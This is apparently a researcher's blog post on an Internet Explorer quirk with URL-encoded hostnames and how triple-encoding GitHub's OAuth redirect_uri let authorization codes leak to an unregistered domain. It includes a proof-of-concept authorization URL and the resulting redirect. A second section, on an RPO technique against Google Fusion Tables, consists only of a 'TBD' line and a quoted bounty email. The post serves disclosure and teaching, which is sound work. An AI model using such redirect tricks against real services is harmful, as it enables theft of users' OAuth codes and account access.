Handling URLs is easy to mess up. Sometimes a slight inaccuracy in the URL validation of an application can lead to minor issues, or vulnerabilities if it's the browser which messes it up. This time, two bugs related to Internet Explorer problematic URL redirection will be presented, with the second half of the post covering an interesting RPO exploitation technique.

GitHub OAuth Code Theft

URL encoding, or Percent-encoding, is usually used in query string or request body. Hostname accepts URL encoding too. However, when Internet Explorer is redirecting a URL encoded hostname, something strange happens. For example, if you visit the link below using Internet Explorer 11 on Windows 7 / 8.1 versus other browsers, you will notice the destination is completely different:

https://httpbin.org/redirect-to?url=http://%2577%2577%2577%252E%256D%2569%2563%2572%256F%2573%256F%2566%2574%252E%2563%256F%256D/test

HTTP/1.1 302 Found  
location: http://%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D/test  

This weird behavior was discovered by Sergey Bobrov, which was also covered in a similiar bug MichaƂ Bentkowski found. Basically, Internet Explorer somehow overlays parts of the URL decoded value with URL encoded value, and mixes them together. The final destination then points to something other then the original destination. The bug seems to be fixed in Internet Explorer 11 on Windows 10, but remains unfixed for Internet Explorer 11 on Windows 7 / 8.1.

Anyways, the important bit is that if a redirect accepts URL encoded hostname, there is a chance users will be redirected to an unexpected website.

Interestingly, In GitHub's OAuth authorization page, the redirect_uri parameter accepts URLs with URL encoded hostname. For example, GitHub Gist is supposed to accept only https://gist.github.com/auth/github/callback/ as the callback URL, but https://%2567%2569%2573%2574.github.com/auth/github/callback/ is also accepted. However, if we directly use the above URL as redirect_uri, the value in the Location header will be no difference from the intended one (remains decoded). The reason why is that GitHub normalizes redirect_uri before doing further handling. The true magic happened when it's triple encoded (i.e. https://%252567%252569%252573%252574.github.com/auth/github/callback/). By doing that, the validation recursively normalized the URL, and thought it matched the configured callback URL, while single encoded it in the Location header.

PoC:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect%5furi=https%3A%2F%2F%252567%252569%252573%252574.github.com%2Fauth%2Fgithub%2Fcallback&response%5ftype=code

HTTP/1.1 302 Found  
location: https://%67%69%73%74.github.com/auth/github/callback/?code={{$CODE}}  

As you can see, the final destination on IE points to the domain gist.github.comthub.com, which is unregistered. Since Gist is a pre-approved application for all GitHub accounts, any user visiting the PoC link would leak the code to the attacker who owns that domain. Of course, it affected other applications as well.

GitHub fixed the bug by also recursively normalizing the value in the Location header.

References


RPO in Google Fusion Table

TBD (author is busy and lazy)
Teaser:

Hi,

Thanks again for your report.

Very nice bug! We were able to convert this to full working XSS exploit in IE11. The panel has decided to issue reward a of $6000 total ($5000 for XSS vulnerability in www.google.com + $1000 bonus for cool bug and novel approach) and you should receive the normal reward information email soon.